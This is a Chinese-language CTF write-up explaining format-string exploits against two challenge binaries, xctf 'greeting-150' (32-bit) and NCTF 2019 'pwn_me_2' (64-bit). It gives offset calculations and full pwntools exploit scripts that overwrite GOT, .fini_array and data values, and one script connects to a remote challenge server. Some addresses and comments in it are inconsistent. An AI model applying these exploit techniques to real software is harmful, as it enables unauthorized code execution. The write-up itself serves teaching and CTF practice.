32位
基于xctf中的greeting-150
题目地址
查看保护
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32位程序,并且没开PIE
放进ida反编译
1 2 3 4 5 6 7 8 9 10 11 12
| int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-84h] char v5; // [esp+5Ch] [ebp-44h] unsigned int v6; // [esp+9Ch] [ebp-4h] v6 = __readgsdword(0x14u); printf("Please tell me your name... "); if ( !getnline(&v5, 64) ) return puts("Don't ignore me ;( "); sprintf(&s, "Nice to meet you, %s :)\n", &v5); return printf(&s);
|
挺短的程序,最后有一个格式化字符串漏洞
整理思路,漏洞利用完了之后程序结束,所以我们要令程序能进行下一次循环
查看getnline()函数
1 2 3 4 5 6 7 8 9 10
| size_t __cdecl getnline(char *s, int n) { char *v3; // [esp+1Ch] [ebp-Ch]
fgets(s, n, stdin); v3 = strchr(s, 10); if ( v3 ) *v3 = 0; return strlen(s); }
|
发现strlen(s) 则可以把strlen()在got表地址改为system函数地址,在第二次输入’/bin/sh’
使程序可循环利用,通过参考资料发现,在程序结束后还要调用.fini_array表里的所有指针。
则可以.fini_array表里的某一个指针地址指向main函数地址,实现二次循环。

main_addr=0x80485ED
system_addr=0x8048490
寻找偏移

由于之前打印18个字节,所以前两个AA是为了补齐字节
则偏移为12
构造payload
1 2 3 4 5 6 7 8 9
| payload='aa' payload+=p32(strlen_got+2) payload+=p32(fini_got+2) payload+=p32(strlen_got) payload+=p32(fini_got) payload+="%2016c%12$hn" payload+="%13$hn" payload+="%31884c%14$hn" payload+="%96c%15$hn"
|
为了防止输入的字符太多,两个字节两个字节的修改,因为字符越加越多,所以优先写入地址小的
strlen_got+2写入system函数的高四位0x804
fini_got+2写入main函数的高四位0x804
strlen_got写入system函数的低四位0x8490
fini_got写入main函数的低四位0x85ED
打印’Nice to meet you, payload’
len(Nice to meet you, )=18
第一个要补充的字符数为=0x804-4*4-2-18=2016
第二个不需要补充,因为前面已经有0x804个字符了
第三个=0x8490-12-6-18-pianyi1=31884
第四个=0x84f0-pianyi3-pianyi2-36=96
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import * #p=process('./greeting-150') p=remote('111.198.29.45',48527) elf=ELF('./greeting-150')
strlen_got=elf.got['strlen']
#gdb.attach(p)
fini_got=0x08049934
main_addr=0x80484f0 system_addr=0x8048490 #pianyi1=0x804-16-2-18=2016 #pianyi2=0x8490-12-6-18-pianyi1=31884 #pianyi3=0x84f0-pianyi3-pianyi2-36=96 payload='aa' payload+=p32(strlen_got+2) payload+=p32(fini_got+2) payload+=p32(strlen_got) payload+=p32(fini_got) payload+="%2016c%12$hn" payload+="%13$hn" payload+="%31884c%14$hn" payload+="%96c%15$hn"
#print payload,'\n' p.sendlineafter('name...',payload) p.sendline("sh")
p.interactive()
|
64位
大抵来说跟32位没多大区别,主要就是64下函数调用约定的原因前六个参数被放入寄存器去了,
所以就导致了栈顶位置的偏移为6。
题为2019年nctf的一道
题目地址
还是检查下程序,
1 2 3 4 5 6 7 8 9 10
| unsigned __int64 sub_C54() { char dest; // [rsp+0h] [rbp-40h] unsigned __int64 v2; // [rsp+38h] [rbp-8h]
v2 = __readfsqword(0x28u); strncpy(&dest, src, 0x10uLL); printf(&dest, src); return __readfsqword(0x28u) ^ v2; }
|
在C54函数里,我们发现strncpy完之后程序打印出了莫名其妙的东西(当时做题时一直以为这个没用,挺僵硬的)

原因为strncpy结束后没有’\x00’,导致程序接着往下打印,思考如果我们提前把拷贝的下面字节写入我们想要的格式化字符时。
不就实现了泄露的目的了吗
1 2 3 4 5 6 7 8 9 10 11 12
| unsigned __int64 sub_B30() { char buf; // [rsp+0h] [rbp-40h] unsigned __int64 v2; // [rsp+38h] [rbp-8h]
v2 = __readfsqword(0x28u); puts("welcome to play nctf!"); puts("a little different,have fun."); puts("but your name:"); read(0, &buf, 0x30uLL); return __readfsqword(0x28u) ^ v2; }
|
在这个函数里,我们发现buf的地址为rbp-40h
,C54函数的dest也是rbp-40h
,strncpy写入了0x10个字节
于是构造buf='A'*0x10+'%p'
就可以实现泄露地址。
思路就是这样
由于这题给了system(/bin/sh)
,只是让你改一个值为0x66666666即可,所以我们要泄露的是一个数据段的地址
gdb查看偏移

这个是我们想要的结果,计算偏移为15
1 2 3 4
| p.recvuntil('0x') libc_data=int(p.recv(12),16)-0xccd print 'libc_data',hex(libc_data) bss_data=libc_data+0x2020E0
|
利用这个来找出我们想要更改数据的地址bss_data
利用第二个格式化字符串漏洞来修改bss_data
的值

如图所示
1 2
| payload2='%26201c%10$hn%11$hn'.rjust(32,'a')+p64(bss_data)+p64(bss_data+2) p.sendlineafter('what do you want?\n',payload2)
|
其中 26201=0x6666-(32-len(‘%26201c%10$hn%11$hn’))
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import *
p=process('./pwn_me_2') gdb.attach(p) payload1='A'*0x10+'%15$p' p.sendlineafter('but your name:\n',payload1)
p.recvuntil('0x') libc_data=int(p.recv(12),16)-0xccd print 'libc_data',hex(libc_data) bss_data=libc_data+0x2020E0 payload2='%26201c%10$hn%11$hn'.rjust(32,'a')+p64(bss_data)+p64(bss_data+2)
p.sendlineafter('what do you want?\n',payload2)
p.interactive()
|